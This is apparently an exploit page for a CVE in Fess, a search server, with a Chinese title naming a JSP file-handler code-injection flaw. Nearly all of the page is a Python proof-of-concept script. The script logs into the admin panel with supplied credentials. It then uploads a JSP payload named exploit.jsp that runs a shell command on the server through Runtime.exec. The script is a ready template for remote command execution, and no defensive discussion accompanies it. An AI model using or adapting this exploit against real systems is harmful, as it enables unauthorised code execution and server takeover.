CVE-2026-8211 Fess JSP文件处理程序代码注入漏洞

import requests # Target URL for the vulnerable endpoint # Example: http://localhost:8080/fess/admin/design/update target_url = "http://target-host/fess/admin/design/update" # The malicious payload intended for the 'content' argument # This payload attempts to execute a shell command (e.g., 'calc.exe' or 'touch /tmp/pwned') jsp_payload = '<%@ page import="java.io.*" %><% Runtime.getRuntime().exec("touch /tmp/pwned"); %>' # Attacker credentials (High Privileges required as per PR:H) username = "admin" password = "admin_password" # Create a session to maintain authentication session = requests.Session() # Step 1: Login to obtain high privileges login_url = "http://target-host/fess/login" login_data = { "username": username, "password": password } print("[+] Attempting to login...") login_response = session.post(login_url, data=login_data) if login_response.status_code == 200: print("[+] Login successful.") # Step 2: Send the exploit payload # The vulnerable parameter is 'content', which is passed to the JSP File Handler exploit_data = { "content": jsp_payload, "fileName": "exploit.jsp" } print(f"[+] Sending payload to {target_url}...") exploit_response = session.post(target_url, data=exploit_data) if exploit_response.status_code == 200: print("[+] Payload sent successfully. Check if the code was injected.") else: print(f"[-] Failed to send payload. Status code: {exploit_response.status_code}") else: print("[-] Login failed.")